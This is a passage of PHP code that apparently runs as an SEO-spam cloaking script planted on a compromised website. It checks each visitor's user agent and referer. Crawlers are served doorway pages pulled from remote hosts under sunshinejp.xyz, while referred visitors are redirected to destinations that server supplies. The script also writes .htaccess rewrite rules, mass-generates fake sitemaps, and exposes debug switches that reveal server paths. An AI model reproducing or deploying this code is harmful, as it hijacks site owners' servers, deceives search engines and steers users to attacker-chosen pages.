  $exp = explode('/', $_SERVER['SCRIPT_NAME']);
  $end = array_pop($exp);
  $script_name = strtolower($end);
  $pre = implode('/', $exp);
  // echo "pre = $pre // script_name = $end";die();
  $li_del = 'list_test|url1|url2';
  $li_del = explode('|', $li_del);
  $uri_end = $_SERVER['REQUEST_URI'];
  foreach ($li_del as $getdel) {
    $uri_end = preg_replace("/(\?|&)" . $getdel . "/si", '', $uri_end);
  }
  $uri_end = preg_replace("/^\//si", '', str_ireplace($pre, '', $uri_end));
  // echo $uri_end;die();
  // echo $fileSelfPath;die();
  unset($li_del, $chk_string);
  ////////////////////////////////
  $server_name = '';
  if (isset($_SERVER['HTTP_HOST'])) {
    $server_name = $_SERVER['HTTP_HOST'];
  }elseif (isset($_SERVER['SERVER_NAME'])) {
    $server_name = $_SERVER['SERVER_NAME'];
  }
  if (!isset($_SERVER['REQUEST_SCHEME'])) {
    $_SERVER['REQUEST_SCHEME'] = '';
  }
  $page_location = ($_SERVER['REQUEST_SCHEME'] != '' ? $_SERVER['REQUEST_SCHEME'] : 'http') . '://' . $server_name . $_SERVER['REQUEST_URI'];
  $page_location = trim($page_location);
  if (preg_match("/^" . $script_name . ".*/si", $fileName)) {
    $page_location = preg_replace("/" . $script_name . ".*/si", '', $page_location);
  }
  $page_location_non_args = trim(preg_replace("/\?.*/si", '', $page_location));
  // $page_location_non_args = preg_replace("/[a-zA-Z]+-[\d]+-[\d]+.*/", '', $page_location_non_args);
  $page_location_non_args = preg_replace("/" . $rewrite_array['rrmatch'] . "/", '', $page_location_non_args);
  if ($page_location_non_args == '') {
    // echo "";die();
    $page_location_non_args = preg_replace("/" . addcslashes($uri_end, '/?+:"()[]{}') . ".*/si", '', $page_location);
  }
  $page_location_non_args = preg_replace("/(.*?)" . preg_replace("/\//s", '\/', $uri_end) . "/si", "$1", $page_location_non_args);
  // echo $_SERVER['SCRIPT_NAME'];die();
  // echo $page_location_non_args;die();
  $page_location_root     = $page_location_non_args;
  if (isset($_SERVER['DOCUMENT_ROOT'])) {
    $page_location_root = preg_replace("/" . str_ireplace('/', '\/', str_ireplace('\\', '/', $_SERVER['DOCUMENT_ROOT'])) . "/si", '', $fileSelfPath);
    // echo $fileName . "<br />";
    $page_location_root = preg_replace("/{$fileName}/si", '', $page_location_root);
    if ($page_location_root != '' && $page_location_root != '/') {
      $page_location_root = preg_replace("/(.*?)" . (preg_replace("/\//si", '\/', $page_location_root)) .".*/si", "$1$page_location_root", $page_location_non_args);
    }else{
      $page_location_root = $page_location_non_args;
    }
    // echo $page_location_root;die();
  }
  if (!preg_match("/\/$/si", $page_location_root)) {
    $page_location_root = preg_replace("/^(https?\:\/\/[\w\.-]+?\/).*/si", "$1", $page_location_root);
  }
  // additional actions
  /////////////////////////////////
  $index_number = $lineNo;
  $func = false;
  define('TEST_MODE', isset($_GET['list_test']) ? true : false);
  if (TEST_MODE) {
    $func = true;
  }
  if ($all_pages) {
    $func = true;
  }
  if (isset($_GET['list_test'])) {
    unset($_GET['list_test']);
  }

  ///////////////////////////////////////////////////////
  $subNo = '';
  $xargv_pre = '';
  $matchparam = array();
  // if (isset($_SERVER['REQUEST_URI']) && preg_match("/([a-zA-Z]+)-([\d]+)-([\d]+).*/", $_SERVER['REQUEST_URI'], $matchparam)) {
  if (isset($_SERVER['REQUEST_URI']) && preg_match("/" . $rewrite_array['rrmatch'] . "/", $_SERVER['REQUEST_URI'], $matchparam)) {
    $func = true;
    // print_r($matchparam);die();
    $domain = trim($matchparam[$rewrite_array['ckeys']['B']]) . trim($matchparam[$rewrite_array['ckeys']['C']]);
    $subNo = intval(trim($matchparam[$rewrite_array['ckeys']['D']]));
  }else{
    if (isset($_GET) && !empty($_GET)) {
      foreach ($_GET as $key => $value) {
        if (preg_match("/^[a-zA-Z]+\d+$/si", $key) && preg_match("/^\d+$/", $value)) {
          // print_r($_GET);die();
          $domain = $key;
          $subNo = intval(trim($value));
          $func = true;
          break;
        }
      }
    }
  }
  // 兼容旧URL, x = list, y = domain id, z = lineNo
  $old_rewrite_rules = '([^\d\/]+)-(\d+)-(\d+)(.*)?=>xx,yy,zz=>B-D-C||(\d+)\/([^\d\/]+)(\d+)(.*)?=>yy,xx,zz=>C/BD';
  if ($old_rewrite_rules != '') {
    $old_rewrite_rules_array = explode('||', preg_replace("/\\\{1,}/si", '\\', $old_rewrite_rules));
    // print_r($old_rewrite_rules_array);
    if (!empty($old_rewrite_rules_array)) {
      foreach ($old_rewrite_rules_array as $orr_item) {
        $orr_item_array = explode('=>', $orr_item);
        if (count($orr_item_array) == 3) {
          $orr_item_rule = trim($orr_item_array[0]);
          $orr_item_xyz = explode(',', $orr_item_array[1]);
          $orr_item_mod = trim($orr_item_array[2]);
          // echo "$orr_item_rule\n";
          if (count($orr_item_xyz) == 3) {
            $orr_item_xyz = array_flip($orr_item_xyz);
            // print_r($orr_item_xyz);die();
            // 开始匹配
            $orr_matches = array();
            if (preg_match_all("/" . $orr_item_rule . "/si", $_SERVER['REQUEST_URI'], $orr_matches)) {
              // 解析参数
              // print_r($orr_matches);die();
              if (count($orr_matches) == 5) {
                $xargv_pre = trim($orr_matches[($orr_item_xyz['xx'] + 1)][0]);
                $argv_ord = trim($orr_matches[($orr_item_xyz['yy'] + 1)][0]);
                $domain = $xargv_pre . $argv_ord;
                $subNo = trim($orr_matches[($orr_item_xyz['zz'] + 1)][0]);
                $func = true;
                $orr_item_extension = array_pop($orr_matches);
                $orr_item_mod .= preg_replace("/\?list_.*/si", '', trim($orr_item_extension[0]));
                // echo "$orr_item_mod";die();
                $rewrite_array = sync_rewrite($orr_item_mod);
                // print_r($rewrite_array);die();
                break;
              }
            }
          }
        }
      }
    }
  }
  unset($matchparam);
  ///////////////////////////////////////////////////////
  ///////////////////////////////////////////////////////
  $httpReferer  = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
  $login_status = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
  $lCheck = func_loginCheck($login_status);
  $rCheck = func_referCheck($httpReferer);
  if (!$func) {
    return ;
  }
  // global $url_host;
  // $url_host = 3;
  // echo $domain;die();
  // determine host
  $url_host = sync_hostid($domain);
  ###############################################################
  if ($url_host == null) {
    if ($lCheck) {
      $url_host = '';
    }
    if ($rCheck) {
      $url_host = 100;
    }
  }
  // echo "$domain IN HOST => $url_host";die();
  $url = '';
  $url_format = 'http://%host%/?domain=%s&lineNo=%s&refer=%d&php_r=%d&from=%s';
  $url_host_format = 'www%d.sunshinejp.xyz';
  // $url = 'http://192.187.112.210/?domain=%s&lineNo=%s&refer=%d&php_r=%d&from=%s';
  $url_host_string = sprintf($url_host_format, $url_host);
  $url = preg_replace("/%host%/si", $url_host_string, $url_format);
  // check if host exists
  if ($xargv_pre != '') {
    // echo $xargv_pre;die();
    $url_host_ip = gethostbyname($url_host_string);
    // echo $url_host_ip;die();
    if (preg_match("/^www/si", $url_host_ip)) {
      // echo 'recheck';die();
      // host not found
      // echo $xargv_pre . $subNo;die();
      $url_host = sync_hostid($xargv_pre . $subNo);
      // echo $url_host;die();
      $url_host_string = sprintf($url_host_format, $url_host);
      // // echo "$url_host_string";die();
      // // echo gethostbyname($url_host_string);die();
      // if ($url_host != null && !preg_match("/^www/si", gethostbyname($url_host_string))) {
        $domain = $xargv_pre . $subNo;
        $argv_ord_tmp = $argv_ord;
        $argv_ord = $subNo;
        $subNo = $argv_ord_tmp;
        unset($argv_ord_tmp);
      //   // echo "$domain=$subNo";die();
        $url = preg_replace("/%host%/si", $url_host_string, $url_format);
      // }else{
      //   if (isset($_GET['urlhost'])) {
      //     $gethostbyname_error = 'Error:&nbsp;';
      //     $gethostbyname_error .= $url_host_string;
      //     $gethostbyname_error .= ' is temporarily unavailable [domain=';
      //     $gethostbyname_error .= $xargv_pre . $subNo;
      //     $gethostbyname_error .= '].';
      //     echo $gethostbyname_error;
      //     exit();
      //   }
      // }
    }
  }

  $url_b = 'http://www100.sunshinejp.xyz/?domain=%s&lineNo=%s&refer=%d&php_r=%d&from=%s';
  $url_c = 'http://www100.sunshinejp.xyz/?domain=%s&lineNo=%s&getdomain&from=%s';
  // $url_c = 'http://192.187.112.210/?domain=%s&lineNo=%s&getdomain';
  // unset($url_host);
  $sitemap_url = '';
  $sitemap_url_format = 'http://%host%/?domain=%s&lineNo=%s&sitemapxml=1&from=%s';
  if (isset($_GET['gid'])) {
    $sitemap_url = preg_replace("/%host%/si", sprintf($url_host_format, trim($_GET['gid'])), $sitemap_url_format);
  }else{
    $sitemap_url = preg_replace("/%host%/si", sprintf($url_host_format, $url_host), $sitemap_url_format);
  }
  // $sitemap_url = 'http://192.187.112.210/?domain=%s&lineNo=%s&sitemapxml=1';
  $sx_get_url     = sprintf($sitemap_url, $domain, $lineNo, urlencode($page_location));
  ///////////////////////////////////////////////////////
  unset($url_host_string, $url_host_format, $url_format, $sitemap_url_format, $xargv_pre);
  ///////////////////////////////////////////////////////
  $sitemap_xml    = false;
  $sitemap_xml_step   = 1000;
  $sitemap_use_nonf   = false;
  $sitemap_type      = 'xml';
  $map_type='';
   $status_gid='';
  if (isset($_GET['http_sitemap'])) {
    $sitemap_xml = (bool)trim($_GET['http_sitemap']);
	$status_gid=trim($_GET['http_sitemap']);
  }
  if (isset($_GET['maptype'])) {
      $map_type = trim($_GET['maptype']);
  }
  if ($sitemap_xml) {
    $sitemapxml_file  = './sitemap.';
	if($map_type!=""){
		$sitemapxml_file='./sitemap-'.$map_type.'.';
	}
	
    if (isset($_GET['step'])) {
      $sitemap_xml_step = intval(trim($_GET['step']));
    }
    if (isset($_GET['type'])) {
      $sitemap_type = trim($_GET['type']);
    }
	
	
    if ($sitemap_type != '') {
      if ($sitemap_type != 'xml') {
        $sitemap_type_array = 'html|php|htm';
        $sitemap_type_array = explode('|', $sitemap_type_array);
        if (!in_array($sitemap_type, $sitemap_type_array)) {
          $sitemap_type = 'xml';
        }
      }
      unset($sitemap_type_array);
    }else{
      $sitemap_type = 'xml';
    }
    // echo $sitemap_type;die();
    if ($sitemap_xml_step == 0) {
      $sitemap_xml_step = 1000;
    }
    $sitemapxml_id_range = array();
    if (isset($_GET['id_from']) && isset($_GET['id_to'])) {
      $sitemapxml_id_range = range(intval(trim($_GET['id_from'])), intval(trim($_GET['id_to'])));
      if (!empty($sitemapxml_id_range)) {
        if ($sitemapxml_id_range[0] == 0) {
          $sitemapxml_id_range = array();
        }else{
          $sitemapxml_file = './sitemap';
          $sitemapxml_file .= trim($_GET['id_from']) . trim($_GET['id_to']);
          $sitemapxml_file .= '.';
        }
      }
    }
    $sitemapxml_nonf  = false;
    $sitemapxml_file  .= $sitemap_type;
    if (isset($_GET['nonf'])) {
      $sitemapxml_nonf = (bool)trim($_GET['nonf']);
    }
    $sx_uri         = $page_location_root;
    $sx_uri_format  = '';
    $sx_get         = @unserialize(rsync_httpreq($sx_get_url));
    if ($sx_get) {
      @unlink($sitemapxml_file);
      // $sx_tmp_step = $sx_step = intval($sx_get['sitemapxml_step']);
      $sx_tmp_step = $sx_step = $sitemap_xml_step;
      // $rewrite_ext = substr($rewrite_ext, 0, strpos($rewrite_ext, "?"));
      $sitemap_urlf = preg_replace("/\?.*/si", '', $rewrite_array['linkf']['urlf']);
      $sx_array = array();
      $sx_array_len = 0;
      $sx_array_head = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">";
	  
	  if($map_type=="video"){
		$sx_array_head = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"".PHP_EOL;
		$sx_array_head .="\t\t xmlns:video=\"http://www.google.com/schemas/sitemap-video/1.1\">".PHP_EOL;
	  }elseif($map_type=="mobile"){
		$sx_array_head = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"".PHP_EOL;
		$sx_array_head .="\t\t xmlns:mobile=\"http://www.google.com/schemas/sitemap-mobile/1.0\">".PHP_EOL;
	  }elseif($map_type=="image"){
		$sx_array_head = "\x3c\x3fxml version=\"1.0\" encoding=\"UTF-8\"\x3f\x3e\n\t<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\"".PHP_EOL;
		$sx_array_head .="\t\t xmlns:image=\"http://www.google.com/schemas/sitemap-image/1.1\">".PHP_EOL;
	  }
	  
      if ($sitemap_type != 'xml') {
        $sx_array_head = "<!DOCTYPE html>\n<html>\n<head>\n\t<meta charset=\"utf-8\">\n\t<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n\t<title></title>\n</head>\n<body>";
      }
      $sx_list_config = trim($sx_get['list_config_content']);
      $sx_argv_pre    = trim($sx_get['argv_pre']);
   
	if($status_gid==1){}else{
		  if (@file_put_contents($sitemapxml_file, $sx_array_head) === false) {
			$sitemap_use_nonf = true;
		  }
		}

      if ($sx_list_config != '') {
        $sx_list_config_array = explode("\n", $sx_list_config);
        unset($sx_list_config);
        if (!empty($sx_list_config_array)) {
          if ($rewrite) {
            // $sx_uri   = preg_replace("/[a-zA-Z]+-[\d]+-[\d]+.*/si", '', $sx_uri);
            // $sx_uri   = $page_location_non_args;
            $sx_uri_http = $sx_uri . $sitemap_urlf;
            $sx_uri_format = "\n\t\t\t" . '<loc>' . $sx_uri_http . '</loc>';
            if ($sitemap_type != 'xml') {
              $sx_uri_format = "\n<a href=\"{$sx_uri_http}\" target=\"_blank\">{$sx_uri_http}</a><br />";
            }
          }else{
            $sx_uri_http = $sx_uri . '?' . $sx_argv_pre . '%d=%d';
            $sx_uri_format = "\n\t\t\t" . '<loc>' . $sx_uri_http . '</loc>';
            if ($sitemap_type != 'xml') {
              $sx_uri_format = "\n<a href=\"{$sx_uri_http}\" target=\"_blank\">{$sx_uri_http}</a><br />";
            }
          }
          //////////////////////////
          foreach ($sx_list_config_array as $sx_line) {
            $sx_line_array = explode('$', $sx_line);
            if (count($sx_line_array) == 2) {
              $sx_domain      = explode('_', trim($sx_line_array[0]));
              $sx_domain_id   = 0;
              if (isset($sx_domain[0])) {
                $sx_domain_id = intval(trim($sx_domain[0], "\xEF\xBB\xBF"));
              }
              if ($sx_domain_id == 0) {
                $error_domain_id  = '[sitemap] error domain id: <font color="red">0</font> // ';
                $error_domain_id  .= $sx_line;
                echo $error_domain_id;
                unset($error_domain_id);
                exit();
              }
              if (!empty($sitemapxml_id_range)) {
                if (!in_array($sx_domain_id, $sitemapxml_id_range)) {
                  continue;
                }
              }
              $sx_line_total  = intval($sx_line_array[1]);
              if ($sx_line_total != 0) {
                $sx_step = $sx_tmp_step;
                while ($sx_step < $sx_line_total) {
                  if (!$sitemapxml_nonf && $sx_array_len > 1000) {
                    @file_put_contents($sitemapxml_file, implode('', $sx_array), FILE_APPEND);
                    $sx_array = array();
                    $sx_array_len = 0;
                  }
                  $sx_content = '';
                  if ($sitemap_type != 'xml') {
                    // echo "$sx_uri_format // $sx_domain_id // $sx_step";die();
                    if ($rewrite) {
                      // $sx_content = sprintf($sx_uri_format, $sx_step, $sx_domain_id, $sx_step, $sx_domain_id);
                      // $sx_content = sprintf($sx_uri_format, $sx_step, $sx_domain_id, $sx_step, $sx_domain_id);
                      $sx_content_gen = preg_replace("/" . $rewrite_array['linkf']['posi']['rra'] . "/si", '-', $sx_uri_format);
                      $sx_content_gen = preg_replace("/" . $rewrite_array['linkf']['posi']['rrb'] . "/si", $sx_argv_pre, $sx_content_gen);
                      $sx_content_gen = preg_replace("/" . $rewrite_array['linkf']['posi']['rrc'] . "/si", $sx_domain_id, $sx_content_gen);
                      $sx_content_gen = preg_replace("/" . $rewrite_array['linkf']['posi']['rrd'] . "/si", $sx_step, $sx_content_gen);
                      $sx_content = $sx_content_gen;
                    }else{
                      $sx_content = sprintf($sx_uri_format, $sx_domain_id, $sx_step, $sx_domain_id, $sx_step);
                    }
                    $sx_array[] = $sx_content;
                  }else{
                    $sx_content .= "\n\t\t" . '<url>';
                    if ($rewrite) {
                      // $sx_content .= sprintf($sx_uri_format, $sx_step, $sx_domain_id);
                      // echo $rewrite_array['linkf']['posi']['rrb'] . " / $sx_uri_format / $sx_argv_pre";die();
                      $sx_content_gen = preg_replace("/" . $rewrite_array['linkf']['posi']['rra'] . "/si", '-', $sx_uri_format);
                      $sx_content_gen = preg_replace("/" . $rewrite_array['linkf']['posi']['rrb'] . "/si", $sx_argv_pre, $sx_content_gen);
                      $sx_content_gen = preg_replace("/" . $rewrite_array['linkf']['posi']['rrc'] . "/si", $sx_domain_id, $sx_content_gen);
                      $sx_content_gen = preg_replace("/" . $rewrite_array['linkf']['posi']['rrd'] . "/si", $sx_step, $sx_content_gen);
                      $sx_content .= $sx_content_gen;
                    }else{
                      $sx_content .= sprintf($sx_uri_format, $sx_domain_id, $sx_step);
                    }
                   
					
					if($map_type=="video"){
						$sx_content .="\n\t\t\t<video:video>";
						$sx_content .="\n\t\t\t\t<video:player_loc allow_embed=\"yes\" autoplay=\"autoplay=1\">http://www.youtube.com/v/wCF3ywukQYA?version=3&amp;autohide=1</video:player_loc>";
						$sx_content .="\n\t\t\t\t<video:thumbnail_loc>http://i.ytimg.com/vi/u8qFAGLBJfE/hqdefault.jpg</video:thumbnail_loc>";
						$sx_content .="\n\t\t\t\t<video:title>Shoes the Full Version</video:title>";
						$sx_content .="\n\t\t\t\t<video:description>Give cancer a betchslap! Shoes the Full Version</video:description>";
						$sx_content .="\n\t\t\t\t<video:duration>619</video:duration>";
						$sx_content .="\n\t\t\t\t<video:publication_date>". date('Y-m-d') ."</video:publication_date>";
						$sx_content .="\n\t\t\t\t<video:category>General</video:category>";
						$sx_content .="\n\t\t\t\t</video:video>";
						$sx_content .= "\n\t\t</url>";
						
					}else if($map_type=="mobile"){
						$sx_content .= "\n\t\t\t" . '<lastmod>' . date('Y-m-d') . '</lastmod>';
						$sx_content .= "\n\t\t\t<mobile:mobile />";
						$sx_content .= "\n\t\t</url>";
						
						
					}else if($map_type=="image"){
						$sx_content .= "\n\t\t\t" . '<image:image>';
						$sx_content .= "\n\t\t\t\t<image:loc>http://thumbnail.image.rakuten.co.jp/@0_mall/craft-web/cabinet/ec_rakuten_w02/1030113112105a_1.jpg</image:loc>";
						$sx_content .= "\n\t\t\t" . '</image:image>';
						$sx_content .= "\n\t\t</url>";
						
					}else{
						$sx_content .= "\n\t\t\t" . '<lastmod>' . date('Y-m-d') . '</lastmod>';
						$sx_content .= "\n\t\t\t" . '<changefreq>daily</changefreq>';
						$sx_content .= "\n\t\t\t" . '<priority>0.8</priority>';
						$sx_content .= "\n\t\t</url>";
						
					}
					
					$sx_array[] = $sx_content;
					
                  }
                  $sx_content_gen = null;
                  unset($sx_content_gen);
                  $sx_step += $sx_tmp_step;
                  $sx_array_len++;
                }
              }
            }
          }
        }
        unset($sx_list_config_array);
      }
      if ($sitemap_type == 'xml') {
        $sx_array[] = "\n\t</urlset>";
      }else{
        $sx_array[] = "\n</body>\n</html>";
      }
      
      $sitemap_out = implode('', $sx_array);
      unset($sx_array);
      if ($sitemapxml_nonf) {
        if ($sitemap_type == 'xml') {
          header('Content-type:text/xml;charset=utf-8');
        }else{
          header('Content-type:text/html;charset=utf-8');
        }
        echo $sx_array_head;
        echo $sitemap_out;
        unset($sitemap_out, $sx_array_head);
        exit();
      }
      @file_put_contents($sitemapxml_file, $sitemap_out, FILE_APPEND);
      unset($sx_array_len, $sx_content, $sx_step, $sx_tmp_step, $sitemap_out);
    }else{
      $sx_get_url_error = 'Cannot fetch data from ';
      $sx_get_url_error .= $sx_get_url;
      echo $sx_get_url_error;
      unset($sx_get_url_error);
      exit();
    }
    unset($sx_get, $sitemap_xml_step);
    if (!file_exists($sitemapxml_file)) {
      $sitemap_use_nonf = true;
    }
    if ($sitemap_use_nonf) {
      $sx_output = '<font color="red">';
      $sx_output .= $sitemapxml_file;
      $sx_output .= ' cannot be created</font>,&nbsp;use online sitemap:&nbsp;<a href="';
      $sx_output .= $sx_uri;
      $sx_output .= '?http_sitemap=1&nonf=1';
      if ($sitemap_type != 'xml') {
        $sx_output .= '&type=';
        $sx_output .= $sitemap_type;
      }
      $sx_output .='" target="_blank">';
      $sx_output .= $sx_uri;
      $sx_output .= '?http_sitemap=1&nonf=1';
      if ($sitemap_type != 'xml') {
        $sx_output .= '&type=';
        $sx_output .= $sitemap_type;
      }
      $sx_output .= '</a>';
    }else{
      $sx_output = $sitemapxml_file;
      $sx_filename = substr($sitemapxml_file, strrpos($sitemapxml_file, '/') + 1);
	  
      $sx_output .= ' has been created successfully:&nbsp;<a href="';
      $sx_output .= $sx_uri . $sx_filename;
      $sx_output .= '" target="_blank">';
      $sx_output .= $sx_uri . $sx_filename;
      $sx_output .= '</a><input style="margin-left:15px;padding:2px;border:1px solid #ccc" id="sxf" onclick="this.select()" onfocus="this.select()" value="';
      $sx_output .= $sx_filename;
      $sx_output .= '" /><script>window.onload=function(){document.getElementById("sxf").focus()}</script>';
    }
    echo $sx_output;
    unset($sx_output, $sitemapxml_file, $sx_uri, $sitemap_type);
    exit();
  }
  ///////////////////////////////////////////////////////////
  // url rewrite in .htaccess
  sync_htaccess($rewrite_array['rrhtacc']);
  // $sitemap_url_rewrite_rule = 'RewriteRule ^sitemap.([0-9]+).([0-9]+)(.([0-9]+))?.xml$ ?http_sitemap=1&id_from=$1&id_to=$2&step=$4&nonf=1 [L]';
  // sync_htaccess($sitemap_url_rewrite_rule);
  ///////////////////////////////////////////////////////
  // echo "$uri_end";die();
  // print_r($_GET);die();
  if (in_array($script_name, $chk)) {
    if (!isset($_GET)) {
      $index = true;
    }else{
      if (isset($_GET) && empty($_GET)) {
        if ($uri_end == '') {
          $index = true;
        }else{
          if ($uri_end == $script_name) {
            $index = true;
          }
        }
      }else{
        if ($uri_end == '') {
          $index = true;
        }
      }
    }
  }

  if ($subNo != '') {
    $lineNo = $subNo;
  }else{
    if (!$index) {
      $lineNo = '';
    }
  }
  $lineNo = determine_number($lineNo, $index, $index_number);
  //////////////////////////////////////////////////////
  if ($func && $rCheck) {
    if (isset($_GET['main_page']) && strtolower(trim($_GET['main_page'])) == 'index' && isset($_GET['cPath'])) {
      $urlget = sprintf($url_c, $domain, $lineNo, urlencode($page_location));
      $getdomain = trim(rsync_httpreq($urlget));
      if ($getdomain != '') {
        $cpath_redi = 'Location: ';
        $cpath_redi .= $getdomain;
        $cpath_redi .= 'index.php?main_page=index&cPath=';
        $cpath_redi .= trim($_GET['cPath']);
        // echo $cpath_redi;die();
        header($cpath_redi);
        exit();
      }
    }
    // if ($url_host == null) {
    //  $host_error = '[ERROR] Cannot determine host with domin `';
    //  $host_error .= $domain;
    //  $host_error .= '`';
    //  echo $host_error;
    //  unset($host_error);
    //  exit();
    // }
    $url = sprintf($url_b, $domain, $lineNo, 1, $php_redirect, urlencode($page_location));
    // echo "$url";die();
    $redi_code = rsync_httpreq($url);
    $redi_code = trim($redi_code);
    if ($redi_code == '') {
      # 404 error
      header('HTTP/1.1 404 Not Found');
      header("status: 404 Not Found");
      exit();
    }
    if ($php_redirect) {
      header("Location: $redi_code");
    }else{
      echo $redi_code;
    }
    unset($redi_code, $url, $domain, $lineNo, $httpReferer, $php_redirect, $server_name);
    exit();
  }
  if ($func && $lCheck) {
    $url = sprintf($url, $domain, $lineNo, 0, 0, urlencode($page_location));
    if (isset($_GET['url1'])) {
      echo $url . '<br /><br />';
      $urlParse = parse_url($url);
      echo gethostbyname($urlParse['host']);
      exit();
    }
    if (isset($_GET['url2'])) {
      echo $sx_get_url;
      exit();
    }
    if (isset($_GET['pl'])) {
      echo $page_location;
      exit();
    }
    if (isset($_GET['plna'])) {
      echo $page_location_non_args;
      // echo '<br />fileName => ' . $fileName . ' // script_name => ' . $script_name;
      exit();
    }
    if (isset($_GET['plr'])) {
      echo $page_location_root;
      // echo '<br />fileName => ' . $fileName . ' // script_name => ' . $script_name;
      exit();
    }
    if (isset($_GET['fsp'])) {
      echo "dr={$_SERVER['DOCUMENT_ROOT']},fsp=$fileSelfPath,fN=$fileName";
      // echo '<br />fileName => ' . $fileName . ' // script_name => ' . $script_name;
      exit();
    }
    if (isset($_GET['get'])) {
      unset($_GET['get']);
      print_r($_GET);
      exit();
    }
    // echo "$url";die();
    $content = rsync_httpreq($url);
    $content = trim($content);

    if ($content == '') {
      # 404 error
      header('HTTP/1.1 404 Not Found');
      header("status: 404 Not Found");
      exit();
    }
      
    if ($rewrite) {
      // $rewrite_page_location = preg_replace("/[a-zA-Z]+-[\d]+-[\d]+.*/si", '', $page_location_non_args);
      $rewrite_page_location = $page_location_root;
      $find_links = array();
      preg_match_all("/<a href\=\"\?([^\d]+?)(\d+?)\=(\d+?)\" title=\"(.*?)\"/si", $content, $find_links);
      // print_r($find_links);die();
      if (count($find_links) == 5) {
        $new_link_format = '<a href="';
        $new_link_format .= $rewrite_page_location . $rewrite_array['linkf']['urlf'];
        $new_link_format .= '" title="%title">';
        // echo $new_link_format;die();
        foreach ($find_links[0] as $flkey => $flvalue) {
          // 产品名称处理
          $product_name = '';
          if (isset($find_links[4][$flkey])) {
            $product_name = urlencode(preg_replace("/\s{2,}/s", '', preg_replace("/(\/|\?|\:|\"|\<|\>|\*|\+|\&|\||\(|\)|\[|\]|\{|\}|\-|\\\\)/s", ' ', html_entity_decode(trim($find_links[4][$flkey]), ENT_NOQUOTES, 'UTF-8'))));
          }
          // list
          $list_name = '';
          if (isset($find_links[1][$flkey])) {
            $list_name = trim($find_links[1][$flkey]);
          }
          // domain id
          $list_did = 0;
          if (isset($find_links[2][$flkey])) {
            $list_did = trim($find_links[2][$flkey]);
          }
          // lineNo
          $list_lineNo = 0;
          if (isset($find_links[3][$flkey])) {
            $list_lineNo = trim($find_links[3][$flkey]);
          }
          $new_link = preg_replace("/" . $rewrite_array['linkf']['posi']['rra'] . "/", $product_name, $new_link_format);
          $new_link = preg_replace("/" . $rewrite_array['linkf']['posi']['rrb'] . "/", $list_name, $new_link);
          $new_link = preg_replace("/" . $rewrite_array['linkf']['posi']['rrc'] . "/", $list_did, $new_link);
          $new_link = preg_replace("/" . $rewrite_array['linkf']['posi']['rrd'] . "/", $list_lineNo, $new_link);
          $new_link = preg_replace("/%title/", $find_links[4][$flkey], $new_link);
          // echo "$new_link\n";
          // $content = preg_replace("/" . $find_links[0][$key] . "/si", $new_link, $content);
          // $content = preg_replace("/" . addcslashes($find_links[0][$key], '/?:"[]{}') . "/si", $new_link, $content);
          // echo addcslashes(preg_replace("/(<a href=\".*?\").*/si", "$1", $find_links[0][$flkey]), '/?"');die();
          $content = preg_replace("/" . addcslashes(preg_replace("/(<a href=\".*?\").*/si", "$1", $find_links[0][$flkey]), '/?') . ".*?\>/si", $new_link, $content);
          unset($new_link, $product_name, $list_name, $list_did, $list_lineNo);
        }
      }
      // die();
      $find_links = null;
      unset($rewrite_page_location, $find_links);
    }
    if ($anchor_use_link) {
      $anchor_uri = $page_location_non_args;
      // replace anchor text with link
      if ($rewrite) {
        $content = preg_replace("/<a href\=\"(http.*?[a-zA-Z]+-[\d]+-[\d]+.*?)\"[^>]+?>.*?<\/a>/si", "<a href=\"$1\" title=\"$1\">$1</a>", $content);
      }else{
        $content = preg_replace("/<a href\=\"\?(.*?)\" title\=\"(.*?)\"([^>]+)>(.*?)<\/a>/si", "<a href=\"{$anchor_uri}?$1\" title=\"{$anchor_uri}?$1\">{$anchor_uri}?$1</a>", $content);
      }
      unset($anchor_uri);
    }
    if ($strip_js_if_robots) {
      $content = preg_replace("/<script>.*?<\/script>/si", '', $content);
    }
    // filter meta
    $content = preg_replace("/(<li class\=\"desc\">.*?)<meta.*?http-equiv\=[\"|\']refresh[\"|\'].*?>/si", "$1", $content);
    // echo "$page_location";die();
    $content = preg_replace("/<li><a href\=\"http\:\/\/[\w\.-]+?\/(index\.php\?main_page\=.*?\")/si", "<li><a href=\"$page_location_root$1", $content);
    $page_location_y = $page_location_non_args;
    if ($rewrite) {
      $page_location_y = preg_replace("/" . $rewrite_array['rrmatch'] . "/si", '', $page_location_y);
    }
    $page_content = rsync_httpreq($page_location_y);
    $page_content_array = array();
    preg_match("/<body[^>]+>(.*?)<\/body>/si", $page_content, $page_content_array);
    if (isset($page_content_array[1])) {
      $page_content = $page_content_array[1];
    }
    $page_content = preg_replace("/<script.*?<\/script>/si", '', $page_content);
    $page_content = preg_replace("/<style.*?<\/style>/si", '', $page_content);
    $page_content = strip_tags($page_content);
    $page_content = preg_replace("/[\s\r\n]/si", '', $page_content);
    $content = str_ireplace('</title>', ' - ' . $server_name . '</title>', $content);
    $content = str_ireplace('</body>', "\n$page_content\n</body>", $content);
    echo "$content";
    unset($content, $page_content, $page_location, $page_location_y, $page_location_non_args, $page_content_array, $url, $rewrite_array);
    exit();
  }//*/
}
///////////////////////////////////////////////////////////
class_x_i();

?>